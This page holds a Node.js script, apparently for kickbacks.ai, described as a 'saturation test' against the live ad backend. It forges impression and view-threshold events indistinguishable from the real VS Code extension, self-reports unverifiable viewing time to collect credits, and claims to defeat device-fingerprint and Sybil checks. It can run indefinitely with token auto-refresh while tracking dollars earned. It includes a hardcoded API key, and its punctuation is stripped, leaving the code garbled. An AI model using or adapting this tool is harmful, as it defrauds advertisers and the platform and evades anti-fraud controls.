kickbacks.ai realistic multi-window saturation test v2 — incorporates view_threshold_met fix, DRY counters, and all live-server features (forever, auto-token, dynamic queue observation) A developer released kickbacks.ai v2, a realistic multi-window saturation test that simulates a fraud attack indistinguishable from legitimate VS Code extension traffic. The tool incorporates fixes for view_threshold_met, DRY counters, and all live-server features including forever mode, auto-token refresh, and dynamic queue observation. | // Massed, realistic-timing, parallel fraud test against the REAL kickbacks backend. | | | // | | | // This tests whether new server-side detections per-account aggregate checks, | | | // duty-cycle heuristics, concurrency limits, device fingerprinting, etc. can | | | // stop a multi-window saturation attack that is byte-for-byte indistinguishable | | | // from the real VS Code extension's traffic. | | | // | | | // What it does: | | | // Authenticates as YOUR account via KICKBACKS TOKEN from signin.mjs or | | | // signin-email.mjs , or auto-refreshes the token from Firebase email/password. | | | // Pulls the live ad portfolio to learn queue depth K + session tokens. | | | // Spawns K parallel "windows" — one per ad — each emitting the exact event | | | // sequence the real extension uses, with realistic choppy cadence. | | | // All windows share ONE client id and ONE ext tuple, exactly as the real | | | // extension does when multiple VS Code panels are open on one machine. | | | // Tracks credited events vs. rejected/throttled/capped in real time. | | | // | | | // Realism faithful to cliTick.ts / statusBarAd.ts / portfolio/client.ts : | | | // Shows are SHORT and irregular — mostly <5s zero view ticks , some | | | // medium, rare long — not a metronome. | | | // view tick intervals have positive jitter = 5000ms , never early. | | | // visible ms on every event is true accrued wall-clock time, not fabricated. | | | // view threshold met fires the moment locally-accrued visible ms crosses the | | | // server-authoritative threshold from /v1/portfolio , exactly as the real | | | // client decides when to emit it — self-asserted, server-believed. | | | // impression viewable closes a show with an ODD duration, never a clean | | | // multiple of 5000. | | | // Gaps between shows mimic think - idle transitions. | | | // Surfaces alternate statusbar / statusline across windows. | | | // A 60s continuous show cap + 20s rest cycle is enforced per window. | | | // Metrics payload includes the ext fingerprint tuple {os, arch, os version, | | | // editor} and session nonce, matching every field the real client sends. | | | // | | | // Fingerprint invisibility: | | | // One client id randomBytes 12 .toString "hex" — the real format . | | | // One ext tuple per run, drawn from the actual Node process so it is | | | // consistent and realistic same machine, same environment . | | | // Node's default global fetch transport — identical to the VS Code extension | | | // host. No custom headers, no signature, no attestation. | | | // From the server's view this is one install, one user, many open editors. | | | // The per- ip, ua, ext Sybil cluster sees a single client id, so it never | | | // trips the multi-device flag regardless of window count. | | | // | | | // Requires explicit opt-in so it can never run by accident: | | | // export KICKBACKS TOKEN='...' | | | // node attack-real.mjs --yes-i-own-this-account | | | // | | | // Forever mode runs until Ctrl-C, auto-refreshes token + re-observes queue : | | | // export KICKBACKS EMAIL='...' | | | // export KICKBACKS PASSWORD='...' | | | // node attack-real.mjs --yes-i-own-this-account --forever | | | // | | | // Environment: | | | // KICKBACKS TOKEN bearer token required unless --forever + email/pw | | | // KICKBACKS EMAIL email for Firebase auto-refresh | | | // KICKBACKS PASSWORD password for Firebase auto-refresh | | | // KICKBACKS FIREBASE KEY Firebase API key default built-in | | | // KICKBACKS BASE backend base URL default: live | | | // DURATION MS test duration in ms default 120 000 = 2 min | | | // KICKBACKS WINDOW COUNT force window count default = observed queue depth | | | // KICKBACKS QUIET "1" to suppress per-event logging | | | // KICKBACKS EDITOR editor name for ext tuple default: actual env | | | import { randomBytes, randomUUID } from "node:crypto"; | | | import { release } from "node:os"; | | | // ── safety: explicit opt-in ───────────────────────────────────────────────── | | | if process.argv.includes "--yes-i-own-this-account" { | | | console.error "refusing to run without --yes-i-own-this-account" ; | | | process.exit 2 ; | | | } | | | const FOREVER = process.argv.includes "--forever" ; | | | let TOKEN = process.env.KICKBACKS TOKEN; | | | const EMAIL = process.env.KICKBACKS EMAIL; | | | const PASSWORD = process.env.KICKBACKS PASSWORD; | | | const FIREBASE KEY = process.env.KICKBACKS FIREBASE KEY | | | || "AIzaSyAhvdYkzjBP6ZaTk e cxHoGPx 39ljCvA"; | | | if TOKEN && FOREVER { | | | console.error "set KICKBACKS TOKEN or use --forever with KICKBACKS EMAIL + KICKBACKS PASSWORD" ; | | | process.exit 2 ; | | | } | | | if FOREVER && EMAIL || PASSWORD { | | | console.error "--forever requires KICKBACKS EMAIL and KICKBACKS PASSWORD for token auto-refresh" ; | | | process.exit 2 ; | | | } | | | const BASE = process.env.KICKBACKS BASE | | | || "https://kickbacks-backend-gmdaqm2c7q-uw.a.run.app"; | | | const CC VERSION = process.env.KICKBACKS CC VERSION || "2.1.173"; | | | const EXT VERSION = process.env.KICKBACKS EXT VERSION || "0.4.0"; | | | const DURATION MS = Number process.env.DURATION MS || 120 000 ; | | | const FORCED K = process.env.KICKBACKS WINDOW COUNT | | | ? Number process.env.KICKBACKS WINDOW COUNT : null; | | | const QUIET = process.env.KICKBACKS QUIET === "1"; | | | // ── fingerprint one machine, one install ────────────────────────────────── | | | // The real VS Code extension generates client id with randomBytes 12 .toString "hex" | | | // and persists it in globalState / ~/.kickbacks/auth.json. All windows on the | | | // same machine share the same id. | | | const CLIENT ID = randomBytes 12 .toString "hex" ; | | | // The real clientEnv returns { os: process.platform, arch: process.arch, | | | // os version: os.release , editor: vscode.env.appName }. Since we run in Node | | | // the same runtime as the extension host , the first three are natural. The | | | // editor string defaults to VS Code but can be overridden to match the target. | | | const EXT = { | | | os: process.platform, | | | arch: process.arch, | | | os version: release , | | | editor: process.env.KICKBACKS EDITOR || "Visual Studio Code", | | | }; | | | // ── faithful constants cliTick.ts / statusBarAd.ts ───────────────────────── | | | const POLL INTERVAL MS = 1 000; | | | const VIEW TICK INTERVAL MS = 5 000; | | | const FRESH ACTIVITY MS = 4 000; | | | const VISIBLE GAP CAP MS = 2 000; // suspend clamp per poll tick | | | const AD SHOW MAX MS = 60 000; // max continuous show | | | const AD REST MS = 20 000; // rest after hitting max | | | const sleep = ms = new Promise r = setTimeout r, ms ; | | | const tickGap = = VIEW TICK INTERVAL MS + Math.random 800; // always = 5000ms | | | // ── shared mutable state background loops write; windows read ────────────── | | | const state = { | | | ads: , // current portfolio ads | | | version: 0, // bumped on every portfolio refresh | | | viewThresholdMs: 15 000, // server-authoritative; updated from /v1/portfolio | | | }; | | | // ── token refresh Firebase email/password ───────────────────────────────── | | | async function refreshTokenFromFirebase { | | | const url = "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=" | | | + encodeURIComponent FIREBASE KEY ; | | | const r = await fetch url, { | | | method: "POST", | | | headers: { "content-type": "application/json" }, | | | body: JSON.stringify { email: EMAIL, password: PASSWORD, returnSecureToken: true } , | | | } ; | | | const j = await r.json ; | | | if r.ok { | | | throw new Error Firebase sign-in HTTP ${r.status}: ${j?.error?.message || JSON.stringify j } ; | | | } | | | TOKEN = j.idToken; | | | console.log token-refresh new token acquired expiresIn=${j.expiresIn}s ; | | | } | | | async function tokenRefreshLoop { | | | if FOREVER return; | | | if TOKEN { | | | console.log " token-refresh fetching initial token from Firebase..." ; | | | await refreshTokenFromFirebase ; | | | } | | | while true { | | | // Random interval: 20 minutes to 1 hour | | | const delayMs = 1 200 000 + Math.random 2 400 000; | | | const nextAt = new Date Date.now + delayMs ; | | | console.log token-refresh next refresh at ${nextAt.toISOString } ; | | | await sleep delayMs ; | | | try { | | | await refreshTokenFromFirebase ; | | | } catch e { | | | console.error token-refresh FAILED: ${e.message} ; | | | console.error " token-refresh retrying in 5 minutes..." ; | | | await sleep 300 000 ; | | | } | | | } | | | } | | | // ── dynamic portfolio observation ─────────────────────────────────────────── | | | async function getPortfolio { | | | const r = await fetch ${BASE}/v1/portfolio?claude code version=${CC VERSION} , { | | | headers: { authorization: Bearer ${TOKEN} , "content-type": "application/json" }, | | | } ; | | | if r.ok throw new Error portfolio HTTP ${r.status} ; | | | return r.json ; | | | } | | | async function observePortfolioOnce { | | | const portfolio = await getPortfolio ; | | | const ads = portfolio.ads || ; | | | if ads.length throw new Error "empty portfolio" ; | | | // The threshold is server-authoritative: the client watches its own | | | // locally-accrued visible ms and fires view threshold met when it decides | | | // the threshold is crossed. We mirror that by copying the value. | | | const thresholdMs = portfolio.view threshold seconds || 15 1 000; | | | if thresholdMs == state.viewThresholdMs { | | | state.viewThresholdMs = thresholdMs; | | | } | | | const changed = ads.length == state.ads.length | | | || ads.some a, i = a.ad id == state.ads i ?.ad id ; | | | if changed { | | | state.ads = ads; | | | state.version++; | | | } | | | return { ads, changed }; | | | } | | | async function doInitialPortfolioFetch { | | | const { ads } = await observePortfolioOnce ; | | | const K = FORCED K ?? ads.length; | | | console.log portfolio initial queue depth K=${ads.length} windows=${K} ; | | | console.log portfolio ads = ${ads.slice 0, K .map a = a.ad id .join ", " } \n ; | | | return K; | | | } | | | async function portfolioRefreshLoopBg { | | | // Periodic re-fetch every 25–80 minutes | | | while true { | | | const delayMs = 25 60 000 + Math.random 55 60 000; | | | const nextAt = new Date Date.now + delayMs ; | | | console.log portfolio next observation at ${nextAt.toISOString } ; | | | await sleep delayMs ; | | | try { | | | const { ads: newAds, changed } = await observePortfolioOnce ; | | | if changed { | | | const newK = FORCED K ?? newAds.length; | | | console.log | | | portfolio queue CHANGED — K=${newAds.length} windows=${newK} + | | | ads= ${newAds.slice 0, newK .map a = a.ad id .join ", " } | | | ; | | | } else { | | | console.log portfolio queue unchanged K=${newAds.length} ; | | | } | | | } catch e { | | | console.error portfolio-refresh failed: ${e.message} ; | | | } | | | } | | | } | | | // ── helpers ───────────────────────────────────────────────────────────────── | | | async function getEarnings { | | | const r = await fetch ${BASE}/v1/earnings , { | | | headers: { authorization: Bearer ${TOKEN} }, | | | } ; | | | if r.ok return null; | | | return r.json ; | | | } | | | async function fireEvent ad, type, { visibleMs, surface = "statusbar" } = {} { | | | const body = { | | | event type: type, | | | ad id: ad.ad id, | | | campaign id: ad.campaign id, | | | client id: CLIENT ID, | | | ts: new Date .toISOString , | | | claude code version: CC VERSION, | | | extension version: EXT VERSION, | | | nonce: randomUUID , | | | surface, | | | session nonce: randomUUID , // dedup key the real client sends | | | ext: EXT, // fingerprint tuple: one machine, one tuple | | | ... visibleMs = null | | | ? { | | | visible ms: Math.round visibleMs , | | | view ms: Math.round visibleMs , // duplicate, real client sends both | | | view pct: 100, | | | viewable: true, | | | } | | | : {} , | | | session token: ad.session token, | | | }; | | | const t0 = performance.now ; | | | const r = await fetch ${BASE}/v1/metrics , { | | | method: "POST", | | | headers: { authorization: Bearer ${TOKEN} , "content-type": "application/json" }, | | | body: JSON.stringify body , | | | } ; | | | const latency = performance.now - t0; | | | let j; | | | try { j = await r.json ; } catch { j = {}; } | | | const didCredit = j.credited; | | | const reason = j.reason || r.ok ? "ok" : HTTP ${r.status} ; | | | if QUIET { | | | const tag = didCredit ? "CREDITED" : reason; | | | console.log | | | ${surface} ${type.padEnd 20 } ad=${ad.ad id.padEnd 10 } + | | | ms=${String body.visible ms ?? "—" .padStart 6 } + | | | lat=${latency.toFixed 0 }ms ${tag} | | | ; | | | } | | | return { didCredit, reason, latency, status: r.status }; | | | } | | | // ── realistic show-length distribution ─────────────────────────────────────── | | | function sampleShowLen { | | | const r = Math.random ; | | | if r < 0.55 return 400 + Math.random 4 000; // <5s = 0 view ticks | | | if r < 0.88 return 5 000 + Math.random 18 000; // medium | | | return 20 000 + Math.random 35 000; // long will hit cap | | | } | | | // DRY helper: one line updates credited / rejected / reasons from a fireEvent result. | | | function note res, counters { | | | if res.didCredit counters.credited++; else counters.rejected++; | | | if res.reason && res.reason == "credited" && res.reason == "ok" { | | | counters.reasons res.reason = counters.reasons res.reason || 0 + 1; | | | } | | | } | | | // ── one "window" pinned by index reads ad from mutable state each show ───── | | | async function runWindow windowIdx, surface, deadline, counters { | | | let showCount = 0; | | | while Date.now < deadline { | | | const ad = state.ads windowIdx % state.ads.length ; | | | if ad { await sleep 300 ; continue; } | | | const showStart = Date.now ; | | | const effectiveShowMax = Math.min showStart + sampleShowLen , showStart + AD SHOW MAX MS ; | | | await fireEvent ad, "impression rendered", { surface } ; | | | counters.rendered++; | | | let lastTick = showStart, nextGap = tickGap , accruedMs = 0, firedThreshold = false; | | | while Date.now < effectiveShowMax && Date.now < deadline { | | | await sleep 180 ; | | | const now = Date.now ; | | | accruedMs += Math.min now - lastTick, VISIBLE GAP CAP MS ; | | | lastTick = now; | | | // view tick heartbeat telemetry , faithful jittered cadence. | | | if now - showStart = nextGap { | | | note await fireEvent ad, "view tick", { surface, visibleMs: accruedMs } , counters ; | | | counters.viewTick++; | | | nextGap += tickGap ; | | | } | | | // THE credit event: fire once the self-accrued dwell crosses the | | | // server-set threshold — exactly what the real client's fireViewThresholdMet | | | // does. visible ms here is the client's own number; the server can't verify it. | | | if firedThreshold && accruedMs = state.viewThresholdMs { | | | firedThreshold = true; | | | note await fireEvent ad, "view threshold met", { surface, visibleMs: accruedMs } , counters ; | | | counters.thresholdMet++; | | | } | | | } | | | note await fireEvent ad, "impression viewable", { surface, visibleMs: Date.now - showStart } , counters ; | | | counters.viewable++; | | | showCount++; | | | const idle = Date.now - showStart = AD SHOW MAX MS - 500 | | | ? AD REST MS : 800 + Math.random 3 200; | | | const until = Date.now + idle; | | | while Date.now < until && Date.now < deadline await sleep 200 ; | | | } | | | counters.shows += showCount; | | | } | | | // ── main ───────────────────────────────────────────────────────────────────── | | | async function main { | | | console.log \n attack-real base = ${BASE} ; | | | console.log attack-real mode = ${FOREVER ? "FOREVER Ctrl-C to stop " : ${DURATION MS}ms } ; | | | console.log attack-real client id = ${CLIENT ID} ; | | | console.log attack-real ext = ${JSON.stringify EXT }\n ; | | | // Kick off background loops early. | | | if FOREVER { | | | tokenRefreshLoop .catch e = { | | | console.error " token-refresh background loop crashed:", e ; | | | process.exit 1 ; | | | } ; | | | // If no env token, block until Firebase produces one. | | | if process.env.KICKBACKS TOKEN { | | | let waited = 0; | | | while TOKEN && waited < 15 000 { | | | await sleep 100 ; | | | waited += 100; | | | } | | | if TOKEN { | | | console.error " attack-real token refresh never produced a token — aborting" ; | | | process.exit 1 ; | | | } | | | } | | | } | | | // Fetch portfolio once blocking . Forever mode will re-fetch periodically. | | | const K = await doInitialPortfolioFetch ; | | | if FOREVER { | | | portfolioRefreshLoopBg ; // fire-and-forget; updates shared state.ads | | | } | | | const before = await getEarnings ; | | | if before { console.error " attack-real could not read earnings — is the token valid?" ; process.exit 1 ; } | | | console.log attack-real before lifetime=$${before.lifetime usd} today=$${before.today usd}\n ; | | | const counters = { | | | rendered: 0, viewTick: 0, viewable: 0, thresholdMet: 0, | | | credited: 0, rejected: 0, shows: 0, reasons: {}, | | | }; | | | const deadline = FOREVER ? Infinity : Date.now + DURATION MS; | | | const startWall = Date.now ; | | | console.log " attack-real firing windows …\n" ; | | | await Promise.all | | | Array.from { length: K }, , i = | | | runWindow i, i % 2 ? "statusline" : "statusbar", deadline, counters | | | | | | ; | | | // ── bounded-mode teardown ────────────────────────────────────────────────── | | | const wallElapsed = Date.now - startWall; | | | console.log "\n attack-real polling earnings to let async credits settle …" ; | | | let after = before; | | | for let i = 0; i < 6; i++ { | | | await sleep 2 000 ; | | | const e = await getEarnings ; | | | if e after = e; | | | } | | | const lifetimeDelta = | | | parseFloat after.lifetime usd || "0" - parseFloat before.lifetime usd || "0" ; | | | const todayDelta = | | | parseFloat after.today usd || "0" - parseFloat before.today usd || "0" ; | | | const eventTotal = counters.rendered + counters.viewTick + counters.viewable + counters.thresholdMet; | | | const creditRate = counters.credited / Math.max 1, wallElapsed / 1000 ; | | | const estimatedPerHour = lifetimeDelta / Math.max 1, wallElapsed / 3 600 000 ; | | | console.log "\n" + "═".repeat 72 ; | | | console.log " RESULTS" ; | | | console.log "═".repeat 72 ; | | | console.log wall-clock elapsed : ${ wallElapsed / 1000 .toFixed 1 }s ; | | | console.log events sent : ${eventTotal} ; | | | console.log impression rendered : ${counters.rendered} ; | | | console.log view tick : ${counters.viewTick} ; | | | console.log view threshold met : ${counters.thresholdMet} ; | | | console.log impression viewable : ${counters.viewable} ; | | | console.log shows completed : ${counters.shows} ; | | | console.log credited events : ${counters.credited} ; | | | console.log rejected/ignored : ${counters.rejected} ; | | | console.log credit rate : ${creditRate.toFixed 2 } events/sec ; | | | console.log ────────────────────────────────────────────────────────────────────── ; | | | console.log lifetime before : $${before.lifetime usd} ; | | | console.log lifetime after : $${after.lifetime usd} ; | | | console.log lifetime Δ : $${lifetimeDelta.toFixed 6 } ; | | | console.log today Δ : $${todayDelta.toFixed 6 } ; | | | console.log extrapolated /hour : ~$${estimatedPerHour.toFixed 4 } ; | | | console.log " ──────────────────────────────────────────────────────────────────────" ; | | | if Object.keys counters.reasons .length { | | | console.log " rejection reasons:" ; | | | for const reason, count of Object.entries counters.reasons .sort a, b = b 1 - a 1 { | | | console.log ${reason.padEnd 18 } : ${count} ; | | | } | | | } | | | const pass = counters.credited 0; | | | const throttled = counters.reasons.cooldown || 0 0; | | | const capped = counters.reasons.daily cap || 0 0; | | | console.log " ──────────────────────────────────────────────────────────────────────" ; | | | if capped { | | | console.log " VERDICT: DAILY CAP hit — the economic brake is engaged." ; | | | } else if throttled && counters.credited 0 { | | | console.log " VERDICT: COOLDOWN active but credits still flow expected behavior ." ; | | | } else if throttled && capped && counters.rejected 0 { | | | console.log " VERDICT: events were REJECTED with no cooldown/cap — a new detection may be active." ; | | | } else if pass { | | | console.log " VERDICT: CREDITS FLOW — no new detection blocked the attack." ; | | | } else { | | | console.log " VERDICT: ZERO credits — either cooldown saturation or a new block." ; | | | } | | | console.log "═".repeat 72 + "\n" ; | | | process.exit pass ? 0 : 1 ; | | | } | | | main .catch e = { console.error e ; process.exit 1 ; } ; |